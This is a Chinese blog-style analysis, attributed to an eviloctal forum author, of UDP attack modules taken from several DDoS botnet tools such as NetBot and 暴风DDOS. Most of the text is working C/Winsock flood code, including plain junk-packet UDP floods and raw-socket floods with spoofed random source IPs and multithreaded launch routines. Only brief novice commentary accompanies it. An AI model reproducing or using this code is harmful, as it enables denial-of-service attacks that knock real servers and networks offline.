//=========================================
对现有的所能找到的DDOS代码(攻击模块)做出一次分析----UDP篇
文章作者：alalmn—飞龙
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）
分析者:alalmn—飞龙 BLOG:http://hi.baidu.com/alalmn
分析的不好请各位高手见谅花了几个小时分析的呵呵
UDP攻击主要分为2种
1.发送垃圾数据攻击
2.自己构造虚假IP进行攻击
UDP攻击并没有象TCP一样使用并发连接攻击
应为UDP是无连接数限制的
TCP是有连接数限制的
有个很多错的要提下随机生成垃圾数据这点很不错在看TCP的时候就发现这点了
------有奖知识问答------
//
Maxer.h
//判断是否支持RAW RAW是什么东西 啊 我看它的代码是判断操作系统版本的是否支持的！！！！！知道到底什什么的可以告诉俺一下
//RAW UDP攻击
我看这个的判断条件是判断操作系统版本 这个和操作系统版本有关系吗
版本的区别，WSA开头的函数是2.0的，其他的是1.1的，
2.0的用winsock2.h
1.0的用winsock.h
是选1 否选2 不祥选3 知道正确答案直接回答
//
知道答案的请发我QQ邮箱316118740@qq.com
//=================================================
冷风的.h
/************************UDP ATTACK***********************************/
unsigned long CALLBACK UDP_flood(LPVOID dParam) //UDP发送垃圾信息攻击
{
SOCKADDR_IN sockAddr; //IP信息结构
SOCKET m_hSocket; //套接字
int nSent;
int nSize = strlen(icmpBuffer); //发送的内容
m_hSocket =socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); //创建socket IPPROTO_UDP是创建UDP
//地址族 socket类型 协议类型
memset(&sockAddr,0,sizeof(sockAddr)); //内存空间初始化
sockAddr.sin_family = AF_INET; //sin_family 地址家族（必须是AF_INET）
sockAddr.sin_port=htons(DdosPort); //存储端口号（使用网络字节顺序）
sockAddr.sin_addr.S_un.S_addr=resolve(DdosUrl); //将网络地址转换成IP地址
while(!StopDDosAttack) //是否在攻击状态
{
nSent =sendto(m_hSocket, icmpBuffer, nSize, 0, (LPSOCKADDR)&sockAddr, sizeof(sockAddr)); //向一指定目的地发送数据
//套接口 数据缓冲区 数据长度 调用标志位 目的套接口的地址 所指地址的长度
if(nSent == SOCKET_ERROR) //是否发送成功
break;
Sleep(100); //暂停(毫秒)
}
return 1;
}
//=============================================
Maxer.h
//标准UDP攻击
DWORD WINAPI UdpFlood(LPVOID dParam)
{
PDDOSINFO pddosinfo = (PDDOSINFO)dParam; //攻击结构体
DDOSINFO ddosinfo; //攻击结构体
memcpy(&ddosinfo,pddosinfo,sizeof(DDOSINFO));//复制内存
char senddata[1024];
memset(senddata,'A',1024);//内存空间初始化
int sendsize=strlen(senddata);//计算发送的内容
WSADATA WSAData;//这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
WSAStartup(MAKEWORD(2,2) ,&WSAData);//确定SOCKET版本
SOCKADDR_IN udpaddr;//IP信息结构
udpaddr.sin_family=AF_INET;//sin_family 地址家族（必须是AF_INET）
udpaddr.sin_addr.s_addr=resolve(ddosinfo.addr);//将网络地址转换成IP地址
udpaddr.sin_port=htons(ddosinfo.port);//存储端口号（使用网络字节顺序）
SOCKET s=socket(AF_INET,SOCK_DGRAM,0); //奇怪这个创建socket 他没有选择UDP协议这算什么UDP攻击啊
//为了减小CPU的利用率，禁止在socket上将数据发送到缓冲。设置SO_SNDBUF为0,
//从而使winsock直接发送数据到客户端，而不是将数据缓冲才发送。
int nZero = 0;
setsockopt(s,SOL_SOCKET,SO_SNDBUF,(char *)&nZero,sizeof(nZero)); //设置套接口的选项
while(1) //死循环
{
if(IsStop==1) //是否在攻击状态
{
ExitThread(0);
return 0;
}
for(int a=0;a<12;a++)
sendto(s,senddata,sendsize,0,(SOCKADDR *)&udpaddr,sizeof(udpaddr)); //向一指定目的地发送数据
Sleep(20); //暂停(毫秒)
}
}//-----------------------------------------------------------------------
typedef struct _iphdr //ip头
{
unsigned char h_verlen; //4位首部长度+4位IP版本号
unsigned char tos; //8位服务类型TOS
unsigned short total_len; //16位总长度（字节）
unsigned short ident; //16位标识
unsigned short frag_and_flags; //3位标志位
unsigned char ttl; //8位生存时间TTL
unsigned char proto; //8位协议号(TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校验和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IP_HEADER;
typedef struct udp_hdr //UDP首部
{
unsigned short sourceport; //本机或伪造的端口
unsigned short destport; //攻击的IP端口
unsigned short udp_length; //UDP地址长度
unsigned short udp_checksum; //UDP首部校验和
} UDP_HEADER;
//判断是否支持RAW RAW是什么东西 啊 我看它的代码是判断操作系统版本的是否支持的！！！！！知道到底什什么的可以告诉俺一下
//RAW UDP攻击
//版本的区别，WSA开头的函数是2.0的，其他的是1.1的，
//2.0的用winsock2.h
//1.0的用winsock.h
DWORD WINAPI RawUdpFlood(LPVOID dParam)
{
srand((unsigned)time( NULL ));
PDDOSINFO pddosinfo = (PDDOSINFO)dParam; //攻击结构体
DDOSINFO ddosinfo; //攻击结构体
memcpy(&ddosinfo,pddosinfo,sizeof(DDOSINFO));//复制内存
IP_HEADER ipHeader;
UDP_HEADER udpHeader;
int nBufferSize=1024;
char pSendBuffer[1024]={0};
memset(pSendBuffer,'A',1024);//内存空间初始化
WSADATA WSAData;//这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
WSAStartup(MAKEWORD(2,2) ,&WSAData);//确定SOCKET版本
SOCKADDR_IN udpaddr;//IP信息结构
SOCKET sendSocket;//套接字
udpaddr.sin_family=AF_INET;//sin_family 地址家族（必须是AF_INET）
udpaddr.sin_addr.s_addr=resolve(ddosinfo.addr);//将网络地址转换成IP地址
udpaddr.sin_port=htons(ddosinfo.port);//存储端口号（使用网络字节顺序）
if((sendSocket = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET) //创建一个与指定传送服务提供者捆绑的套接口
{ //地址族描述目前仅支持PF_INET格式 新套接口的类型描述 协议 指向结构的指针 套接口组的描述字 套接口属性描述 //INVALID_SOCKET发生错误
printf("Socket Setup Error...\n"); //Socket安装程序错误
return 0;
}
BOOL flag=1;
if(setsockopt(sendSocket, IPPROTO_IP, IP_HDRINCL, (char *)&flag, sizeof(flag)) == SOCKET_ERROR) //设置套接口的选项 设置发送和接收的超时
{ //套接口的描述字 选项定义的层次 需设置的选项 存放选项值的缓冲区 缓冲区的长度 //SOCKET_ERROR创建错误
printf("Setsockopt IP_HDRINCL Error...\n"); //Setsockopt IP_HDRINCL错误
return 0;
}
int timeout = 3000;
if(setsockopt(sendSocket, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout)) == SOCKET_ERROR)
{
printf("Setsockopt SO_SNDTIMEO Error...\n"); //Setsockopt SO_SNDTIMEO错误
return 0;
}
char src_ip[20] = {0};
while(1) //死循环
{
if(IsStop==1) //是否在攻击状态
{
ExitThread(0);
return 0;
}
for(int a=0;a<24;a++)
{
int iTotalSize=sizeof(ipHeader) + sizeof(udpHeader)+ nBufferSize;
wsprintf( src_ip, "%d.%d.%d.%d", rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1 ); //格式化数据
//填充IP首部
ipHeader.h_verlen = (4 << 4) | (sizeof(ipHeader) / sizeof(unsigned long));
ipHeader.tos=0;
ipHeader.total_len=htons(iTotalSize);
ipHeader.ident=0;
ipHeader.frag_and_flags=0;
ipHeader.ttl=128;
ipHeader.proto=IPPROTO_UDP;
ipHeader.checksum=0;
ipHeader.sourceIP=inet_addr(src_ip);//32位源地址 随机IP
ipHeader.destIP=resolve(ddosinfo.addr); //伪IP
//填充UDP首部
udpHeader.sourceport = htons( rand()%60000 + 1 );
udpHeader.destport = htons(ddosinfo.port);
udpHeader.udp_length = htons(sizeof(udpHeader) + nBufferSize);
udpHeader.udp_checksum = 0;
memcpy(pSendBuffer, &ipHeader, sizeof(ipHeader));//复制数据
memcpy(pSendBuffer+sizeof(ipHeader), &udpHeader, sizeof(udpHeader));//复制数据
udpHeader.udp_checksum = checksum( (USHORT *) pSendBuffer, sizeof(udpHeader)+sizeof(ipHeader));
sendto(sendSocket, pSendBuffer, sizeof(ipHeader) + sizeof(udpHeader) + sizeof(pSendBuffer), 0, (struct sockaddr*)&udpaddr, sizeof(udpaddr)); //向一指定目的地发送数据
//套接口的描述字 待发送数据的缓冲区 缓冲区中数据的长度 调用方式标志位 指向目的套接口的地址 所指地址的长度
}
Sleep(40);
}
}
//===================================================
NetBot_Attacker.h
/************************UDP ATTACK***********************************/
unsigned long CALLBACK UDP_flood(LPVOID dParam)//udp flood UDP发送垃圾数据
{
WSADATA WSAData;//这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
WSAStartup(MAKEWORD(2,2) ,&WSAData);//确定SOCKET版本
SOCKADDR_IN sockAddr;//IP信息结构
SOCKET m_hSocket;//套接字
int nSent;
int nSize = strlen(icmpBuffer);//计算发送的内容
m_hSocket =socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);//创建socket
memset(&sockAddr,0,sizeof(sockAddr));//内存空间初始化
sockAddr.sin_family = AF_INET;//sin_family 地址家族（必须是AF_INET）
sockAddr.sin_port=htons(fuckweb.FuckPort);//存储端口号（使用网络字节顺序）
sockAddr.sin_addr.S_un.S_addr=resolve(fuckweb.FuckIP); //将网络地址转换成IP地址
while(!stopfuck)
{
nSent =sendto(m_hSocket, icmpBuffer, nSize, 0, (LPSOCKADDR)&sockAddr, sizeof(sockAddr)); //向一指定目的地发送数据
if(nSent == SOCKET_ERROR) //是否发送成功
break;
Sleep(40); //延时
}
return 1;
}
unsigned long CALLBACK Pjam_attack(LPVOID dParam)//udp 小包裹
{
WSADATA wsadata;//这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
WSAStartup(MAKEWORD(2,0), &wsadata);//确定SOCKET版本
SOCKADDR_IN sockAddr;//IP信息结构
SOCKET m_hSocket;//套接字
memset(&sockAddr,0,sizeof(sockAddr));//内存空间初始化
sockAddr.sin_family = AF_INET;//sin_family 地址家族（必须是AF_INET）
sockAddr.sin_port=htons(fuckweb.FuckPort);//存储端口号（使用网络字节顺序）
sockAddr.sin_addr.S_un.S_addr=resolve(fuckweb.FuckIP); //将网络地址转换成IP地址
m_hSocket= socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);//创建socket
connect(m_hSocket,(SOCKADDR*)&sockAddr, sizeof(sockAddr)); // connect in udp? //连接
while(!stopfuck)
{
send(m_hSocket,"fuckwebfuckwebfuckwebfuckwebfuckwebfuckwebfuckweb",50,0); //发送消息
Sleep(40); //延时
}
return 1;
}
//===================================
暴风DDOS.h
#define nBufferSize 1024
static char pSendBuffer[nBufferSize+60];
static int iTotalSize=0;
/*===========================================常量=============================================*/
typedef struct _iphdr
{
unsigned char h_verlen;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_flags;
unsigned char ttl;
unsigned char proto;
unsigned short checksum;
unsigned int sourceIP;
unsigned int destIP;
}IP_HEADER, * PIP_HEADER;
typedef struct udp_hdr //UDP首部
{
unsigned short sourceport;
unsigned short destport;
unsigned short udp_length;
unsigned short udp_checksum;
} UDP_HEADER;
void udp_flood()
{
Sleep(2000); //暂停(毫秒)
WSADATA WSAData; //这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
WSAStartup(MAKEWORD(2,2), &WSAData); //确定SOCKET版本
SOCKET SendSocket;
BOOL Flag;
SendSocket = WSASocket(AF_INET,SOCK_RAW,IPPROTO_UDP,NULL,0,0); //创建一个与指定传送服务提供者捆绑的套接口
if( SendSocket == INVALID_SOCKET ) //INVALID_SOCKET发生错误
return;
Flag=true;
if (setsockopt(SendSocket,IPPROTO_IP,IP_HDRINCL,(char*)&Flag,sizeof(Flag))==SOCKET_ERROR) //设置套接口的选项
{
printf("setsockopt Error!\n"); //setsockopt错误！
return;
}
SOCKADDR_IN addr_in; //IP信息结构
addr_in.sin_family=AF_INET; //sin_family 地址家族（必须是AF_INET）
addr_in.sin_port=htons(tgtPort); //存储端口号（使用网络字节顺序）
addr_in.sin_addr.s_addr=inet_addr(tgtIP); //inet_addr将ip地址转换成网络地址
if (addr_in.sin_addr.s_addr == INADDR_NONE)
{ //inet_addr将ip地址转换成网络地址 IP地址不正确返回INADDR_NONE
struct hostent *hp = NULL; //hostent IP信息结构体
if ((hp = gethostbyname(tgtIP)) != NULL)
{//gethostbyname主机信息 tgtIPIP地址 != NULL不等于空
memcpy(&(addr_in.sin_addr), hp->h_addr, hp->h_length); //复制内存
addr_in.sin_family = hp->h_addrtype;
}
else
return;
}
for (;;)
{
if (StopFlag == 1) //是否在攻击状态
{
ExitThread(0);
return;
}
sendto(SendSocket, pSendBuffer, iTotalSize, 0, (SOCKADDR *)&addr_in, sizeof(addr_in)); //向一指定目的地发送数据
//pSendBuffer 把数据结构体都保存进去了 这样才能实现伪IP攻击
Sleep(SleepTime);
}
closesocket(SendSocket); //关闭socket
return;
}
void fill_udp_buffer()
{
WSADATA wsaData; //这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
WSAStartup(MAKEWORD(2, 2), &wsaData); //确定SOCKET版本
unsigned int saddr=0;
char hostname[MAX_PATH];
gethostname(hostname,MAX_PATH); //得到主机名
LPHOSTENT lphost; //主机结构信息
lphost = gethostbyname(hostname);//主机名的主机信息
if (lphost != NULL)
saddr = ((LPIN_ADDR)lphost->h_addr)->s_addr;
char pBuffer[nBufferSize];
IP_HEADER ipHeader;
UDP_HEADER udpHeader;
int iUdpCheckSumSize;
char *ptr=NULL;
FillMemory(pBuffer, nBufferSize, 'A'); //填充内容做攻击数据使用
iTotalSize=sizeof(ipHeader) + sizeof(udpHeader)+ nBufferSize;
ipHeader.h_verlen = (4 << 4) | (sizeof(ipHeader) / sizeof(unsigned long));
ipHeader.tos=0;
ipHeader.total_len=htons(iTotalSize);
ipHeader.ident=0;
ipHeader.frag_and_flags=0;
ipHeader.ttl=128;
ipHeader.proto=IPPROTO_UDP;
ipHeader.checksum=0;
ipHeader.destIP=inet_addr(tgtIP); //伪IP
//UDP首部
udpHeader.sourceport = htons(5444);//本机或伪造的端口
udpHeader.destport = htons(tgtPort);//攻击的IP端口
udpHeader.udp_length = htons(sizeof(udpHeader) + nBufferSize);//UDP地址长度
udpHeader.udp_checksum = 0;
ptr = NULL;
ipHeader.sourceIP = saddr; //自己模拟的IP
ZeroMemory(pSendBuffer, nBufferSize + 60); //填充内容做攻击数据使用
ptr = pSendBuffer;
iUdpCheckSumSize=0;
udpHeader.udp_checksum = 0;
memcpy(ptr, &ipHeader.sourceIP, sizeof(ipHeader.sourceIP));
ptr += sizeof(ipHeader.sourceIP);
iUdpCheckSumSize += sizeof(ipHeader.sourceIP);
memcpy(ptr, &ipHeader.destIP, sizeof(ipHeader.destIP)); //伪IP
ptr += sizeof(ipHeader.destIP); //伪IP
iUdpCheckSumSize += sizeof(ipHeader.destIP); //伪IP //这些代码在这里给数据相加 是用来做什么做攻击内容使用吗
ptr++;
iUdpCheckSumSize++;
memcpy(ptr, &ipHeader.proto, sizeof(ipHeader.proto));
ptr += sizeof(ipHeader.proto);
iUdpCheckSumSize += sizeof(ipHeader.proto);
memcpy(ptr, &udpHeader.udp_length, sizeof(udpHeader.udp_length));
ptr += sizeof(udpHeader.udp_length);
iUdpCheckSumSize += sizeof(udpHeader.udp_length);
memcpy(ptr, &udpHeader, sizeof(udpHeader));
ptr += sizeof(udpHeader);
iUdpCheckSumSize += sizeof(udpHeader); //这些代码在这里给数据相加 是用来做什么做攻击内容使用吗
memcpy(ptr, pBuffer, nBufferSize);
iUdpCheckSumSize += nBufferSize;
udpHeader.udp_checksum=checksum((USHORT*)pSendBuffer,iUdpCheckSumSize);
memcpy(pSendBuffer, &ipHeader, sizeof(ipHeader));
memcpy(pSendBuffer + sizeof(ipHeader), &udpHeader, sizeof(udpHeader));
memcpy(pSendBuffer + sizeof(ipHeader) + sizeof(udpHeader), pBuffer, nBufferSize); //这些代码在这里给数据相加 是用来做什么做攻击内容使用吗
}
/*--------------------------------------------------------------------------------------*/
void StartUDP(char ip[30],int port,int time,int xc)
{
if (inet_addr(ip)== INADDR_NONE)
{//inet_addr将ip地址转换成网络地址 INADDR_NONE非法地址
struct hostent *hp = NULL; //hostent IP信息结构体
if ((hp = gethostbyname(ip)) != NULL) //gethostbyname主机信息
{
in_addr in; //IP地址转换位一个in_addr结构的地址
memcpy(&in, hp->h_addr, hp->h_length); //复制内存
strcpy(tgtIP,inet_ntoa(in)); //复制数据
}
}
else
strcpy(tgtIP,ip); //复制数据
port=tgtPort; //端口
time=timeout; //时间
if (StopFlag == -1) //这点应该查看是否在攻击状态
return;
StopFlag=-1;
fill_udp_buffer(); //获取攻击数据
for(i=0;i<xc;i++) //循环创建线程
{
h=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)udp_flood, NULL, 0, NULL); //具体攻击
}
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)wait_for_end, NULL, 0, NULL); //结束攻击线程
}
//======================================================
暴风DDOSVIP2010-225.h
//伪造源UDP(流量) 跟 非IP数据包(流量) 一样
/*----------------------------------------------------------------------------------------*///UDP(流量)
void udpattack()//UDP(流量)
{
char senddata[1024];
memset(senddata,'A',1024); //内存空间初始化 初始化攻击数据
int sendsize=strlen(senddata);//计算字符长度
SOCKADDR_IN udpaddr; //IP信息结构
udpaddr.sin_family=AF_INET; //sin_family 地址家族（必须是AF_INET）
udpaddr.sin_addr.s_addr=inet_addr(tgtIP); //inet_addr将ip地址转换成网络地址
udpaddr.sin_port=htons(tgtPort); //存储端口号（使用网络字节顺序）
SOCKET s=socket(AF_INET,SOCK_DGRAM,0); //创建socket 这样创建的应该不是UDP协议吧汗！！！！！！！
//为了减小CPU的利用率，禁止在socket上将数据发送到缓冲。设置SO_SNDBUF为0,
//从而使winsock直接发送数据到客户端，而不是将数据缓冲才发送。
int nZero = 0;
setsockopt(s,SOL_SOCKET,SO_SNDBUF,(char *)&nZero,sizeof(nZero)); //设置套接口的选项
for (;;)
{
if(StopFlag==1)//这点应该查看是否在攻击状态
{
ExitThread(0);
return;
}
for(int a=0;a<12;a++)
sendto(s,senddata,sendsize,0,(SOCKADDR *)&udpaddr,sizeof(udpaddr));//向一指定目的地发送数据
Sleep(SleepTime);
}
closesocket(s); //关闭socket
WSACleanup(); //中止Windows Sockets DLL的使用
}
void StartUDP(char ip[30],int port,int mytime,int xc) //UDP(流量)
{
if (inet_addr(ip)== INADDR_NONE)
{//inet_addr将ip地址转换成网络地址 INADDR_NONE非法地址
struct hostent *hp = NULL; //hostent IP信息结构体
if ((hp = gethostbyname(ip)) != NULL)//gethostbyname主机信息 IP IP地址 != NULL不等于空
{
in_addr in;
memcpy(&in, hp->h_addr, hp->h_length); //复制内存
strcpy(tgtIP,inet_ntoa(in)); //拷贝
}
}
else
strcpy(tgtIP,ip); //复制数据
tgtPort=port; //端口
timeout=mytime; //时间
StopFlag = -1; //进入攻击状态
for(z=0;z<xc;z++)
{
h[z]=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)udpattack, NULL, 0, NULL); //具体攻击
}
if(timeout!=0)
{
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)wait_for_end, NULL, 0, NULL); //结束攻击线程
}
}
/*--------------------------------------------------------------------------------------*/
/*--------------------------------------------------------------------------------------*/
void udpsattack() //UDP碎片(流量)
{
char senddata[5]="bfyl";
int sendsize=strlen(senddata);//计算字符长度
SOCKADDR_IN udpaddr; //IP信息结构
udpaddr.sin_family=AF_INET; //sin_family 地址家族（必须是AF_INET）
udpaddr.sin_addr.s_addr=inet_addr(tgtIP); //inet_addr将ip地址转换成网络地址
udpaddr.sin_port=htons(tgtPort); //存储端口号（使用网络字节顺序）
SOCKET s=socket(AF_INET,SOCK_DGRAM,0); //创建socket 这样创建的应该不是UDP协议吧汗！！！
int nZero = 0;
setsockopt(s,SOL_SOCKET,SO_SNDBUF,(char *)&nZero,sizeof(nZero)); //设置套接口的选项
for (;;)
{
if(StopFlag==1)//这点应该查看是否在攻击状态
{
ExitThread(0);
return;
}
for(int i=0;i<5;i++)
sendto(s,senddata,sendsize,0,(SOCKADDR *)&udpaddr,sizeof(udpaddr));//向一指定目的地发送数据
Sleep(SleepTime);
}
closesocket(s); //关闭socket
WSACleanup(); //中止Windows Sockets DLL的使用
}
void StartUDPS(char ip[30],int port,int mytime,int xc) //UDP碎片(流量)
{
if (inet_addr(ip)== INADDR_NONE)
{//inet_addr将ip地址转换成网络地址 INADDR_NONE非法地址
struct hostent *hp = NULL; //hostent IP信息结构体
if ((hp = gethostbyname(ip)) != NULL)//gethostbyname主机信息 IP IP地址 != NULL不等于空
{
in_addr in;
memcpy(&in, hp->h_addr, hp->h_length); //复制内存
strcpy(tgtIP,inet_ntoa(in)); //拷贝
}
}
else
strcpy(tgtIP,ip);
tgtPort=port; //端口
timeout=mytime; //时间
StopFlag = -1;
for(z=0;z<xc;z++)
{
h[z]=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)udpsattack, NULL, 0, NULL);//具体攻击
}
if(timeout != 0)
{
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)wait_for_end, NULL, 0, NULL);//结束攻击线程
}
}
/*--------------------------------------------------------------------------------------*/
/*--------------------------------------------------------------------------------------*/
//变异和伪造的UDP发包
void rawudpattack() //非IP数据包(流量)
{
WSADATA WSAData; //这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
WSAStartup(MAKEWORD(2,2), &WSAData); //确定SOCKET版本
SOCKET SendSocket; //套接字
BOOL Flag;
SendSocket = WSASocket(AF_INET,SOCK_RAW,IPPROTO_UDP,NULL,0,0); //创建一个与指定传送服务提供者捆绑的套接口
if( SendSocket == INVALID_SOCKET ) //INVALID_SOCKET发生错误
return;
Flag=true;
if (setsockopt(SendSocket,IPPROTO_IP,IP_HDRINCL,(char*)&Flag,sizeof(Flag))==SOCKET_ERROR) //设置套接口的选项 //setsockopt错误
{
printf("setsockopt Error!\n");
return;
}
SOCKADDR_IN addr_in; //IP信息结构
addr_in.sin_family=AF_INET; //sin_family 地址家族（必须是AF_INET）
addr_in.sin_port=htons(tgtPort); //存储端口号（使用网络字节顺序）
addr_in.sin_addr.s_addr=inet_addr(tgtIP); //inet_addr将ip地址转换成网络地址
if (addr_in.sin_addr.s_addr == INADDR_NONE)
{
struct hostent *hp = NULL;
if ((hp = gethostbyname(tgtIP)) != NULL)
{//gethostbyname主机信息 tgtIPIP地址 != NULL不等于空
memcpy(&(addr_in.sin_addr), hp->h_addr, hp->h_length); //复制内存
addr_in.sin_family = hp->h_addrtype;
}
else
return;
}
for (;;)
{
if (StopFlag == 1) //攻击状态
{
ExitThread(0);
return;
}
for(int i=0;i<12;i++)
sendto(SendSocket, pSendBuffer, iTotalSize, 0, (SOCKADDR *)&addr_in, sizeof(addr_in));//向一指定目的地发送数据
Sleep(SleepTime);
}
closesocket(SendSocket); //关闭socket
WSACleanup(); //中止Windows Sockets DLL的使用
return;
}
void StartBYUDP(char ip[30],int port,int mytime,int xc) //非IP数据包(流量)
{
if (inet_addr(ip)== INADDR_NONE)
{
struct hostent *hp = NULL; //hostent IP信息结构体
if ((hp = gethostbyname(ip)) != NULL)
{//inet_addr将ip地址转换成网络地址 INADDR_NONE非法地址
in_addr in;
memcpy(&in, hp->h_addr, hp->h_length); //复制内存
strcpy(tgtIP,inet_ntoa(in)); //拷贝
}
}
else
strcpy(tgtIP,ip); //拷贝
tgtPort=port; //端口
timeout=mytime; //时间
StopFlag = -1;
fill_BY_buffer(); //获取攻击数据和 暴风DDOS.h 文件是一样的
for(z=0;z<xc;z++)
{
h[z]=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)rawudpattack, NULL, 0, NULL); //具体攻击
}
if(mytime!=0)
{
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)wait_for_end, NULL, 0, NULL); //结束攻击线程
}
}
/*--------------------------------------------------------------------------------------*/
/*--------------------------------------------------------------------------------------*/
void sjudpattack() //随机数据UDP(流量)
{
int i;
srand((unsigned)time( NULL ));
i=rand()%512; //产生个随机数
char senddata[MAX_PATH];
memset(senddata,i,MAX_PATH); //内存空间初始化
int sendsize=1024;
SOCKADDR_IN udpaddr; //IP信息结构
udpaddr.sin_family=AF_INET; //指代协议族，在socket编程中只能是AF_INET
udpaddr.sin_addr.s_addr=inet_addr(tgtIP); //IP地址
udpaddr.sin_port=htons(tgtPort); //存储端口号（使用网络字节顺序）
SOCKET s=socket(AF_INET,SOCK_DGRAM,0); //创建socket
int nZero = 0;
setsockopt(s,SOL_SOCKET,SO_SNDBUF,(char *)&nZero,sizeof(nZero)); //设置套接口的选项
for (;;)
{
if(StopFlag==1)//这点应该查看是否在攻击状态
{
ExitThread(0);
return;
}
for(int a=0;a<12;a++)
sendto(s,senddata,sendsize,0,(SOCKADDR *)&udpaddr,sizeof(udpaddr));//向一指定目的地发送数据
Sleep(SleepTime);
}
closesocket(s); //关闭socket
WSACleanup(); //中止Windows Sockets DLL的使用
}
void StartSJUDP(char ip[30],int port,int mytime,int xc) //随机数据UDP(流量)
{
if (inet_addr(ip)== INADDR_NONE)
{//inet_addr将ip地址转换成网络地址 INADDR_NONE非法地址
struct hostent *hp = NULL; //hostent IP信息结构体
if ((hp = gethostbyname(ip)) != NULL) //gethostbyname主机信息 IP IP地址 != NULL不等于空
{
in_addr in;
memcpy(&in, hp->h_addr, hp->h_length); //复制内存
strcpy(tgtIP,inet_ntoa(in)); //拷贝
}
}
else
strcpy(tgtIP,ip); //拷贝
tgtPort=port; //端口
timeout=mytime; //时间
StopFlag = -1;
for(z=0;z<xc;z++)
{
h[z]=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)sjudpattack, NULL, 0, NULL); //具体攻击
}
if(timeout!=0)
{
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)wait_for_end, NULL, 0, NULL); //结束攻击线程
}
}
/*--------------------------------------------------------------------------------------*/
/*--------------------------------------------------------------------------------------*/
//==================================================
盘古1.5代码.h
///UDP攻击
#define nBufferSize 1024
static char pSendBuffer[nBufferSize+60];
static int iTotalSize=0;
void udp_flood() //UDP攻击
{
Sleep(2000);
WSADATA WSAData;
WSAStartup(MAKEWORD(2,2), &WSAData);
SOCKET SendSocket;
BOOL Flag;
SendSocket = WSASocket(AF_INET,SOCK_RAW,IPPROTO_UDP,NULL,0,0); //创建一个与指定传送服务提供者捆绑的套接口
if( SendSocket == INVALID_SOCKET )
return;
Flag=true;
if (setsockopt(SendSocket,IPPROTO_IP,IP_HDRINCL,(char*)&Flag,sizeof(Flag))==SOCKET_ERROR) //设置套接口的选项
{
printf("setsockopt Error!\n");
return;
}
SOCKADDR_IN addr_in; //IP信息结构
addr_in.sin_family=AF_INET;
//sin_family 地址家族（必须是AF_INET）
addr_in.sin_port=htons(tgtPort);
addr_in.sin_addr.s_addr=inet_addr(tgtIP);
//inet_addr将ip地址转换成网络地址
if (addr_in.sin_addr.s_addr == INADDR_NONE)
//IP地址不正确返回INADDR_NONE
{
struct hostent *hp = NULL; //hostent域名转换成IP
if ((hp = gethostbyname(tgtIP)) != NULL)
//gethostbyname主机信息 tgtIPIP地址 != NULL不等于空
{
memcpy(&(addr_in.sin_addr), hp->h_addr, hp->h_length);
//hp->h_length表示的是主机ip地址的长度
addr_in.sin_family = hp->h_addrtype;
//hp->h_addrtype主机ip地址的类型是ipv4(AF_INET)还是ipv6(AF_INET6)
}
else
return;
}
for (;;)
{
if (StopFlag == 1) //StopFlag= 1; 表示没有在攻击
{
ExitThread(0);
return;
}
for(int i=0;i<10000;i++)
sendto(SendSocket, pSendBuffer, iTotalSize, 0, (SOCKADDR *)&addr_in, sizeof(addr_in)); //向一指定目的地发送数据
Sleep(SleepTime);
}
closesocket(SendSocket); //关闭SOCKET
return;
}
//=======================================================
盘古DDOS优化版源码.h
///UDP
void udpflood()
{
WSAData wsadata;
WSAStartup(MAKEWORD(2,2),&wsadata);
char senddata[128];
memset(senddata,'D',sizeof(senddata)); //初始化攻击内容
int sendsize=strlen(senddata); //计算攻击内容
SOCKADDR_IN udpaddr;
udpaddr.sin_family=AF_INET;//sin_family 地址家族（必须是AF_INET）
udpaddr.sin_addr.s_addr=inet_addr(tgtip);//inet_addr将ip地址转换成网络地址
udpaddr.sin_port=htons(tgtport); //端口
SOCKET s=socket(AF_INET,SOCK_DGRAM,0); //这样做创建的就不是UDP协议了啊
for (;;)
{
if(Stop==1)
{
ExitThread(0);
return;
}
for(int a=0;a<10000;a++)
sendto(s,senddata,sendsize,0,(SOCKADDR *)&udpaddr,sizeof(udpaddr)); //向一指定目的地发送数据
Sleep(20);
}
closesocket(s); //关闭SOCKET
WSACleanup(); //中止Windows Sockets DLL的使用
}
//============================================================
扫一扫
10-19
2465
2465
02-16
466
466
02-10
4103
4103
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
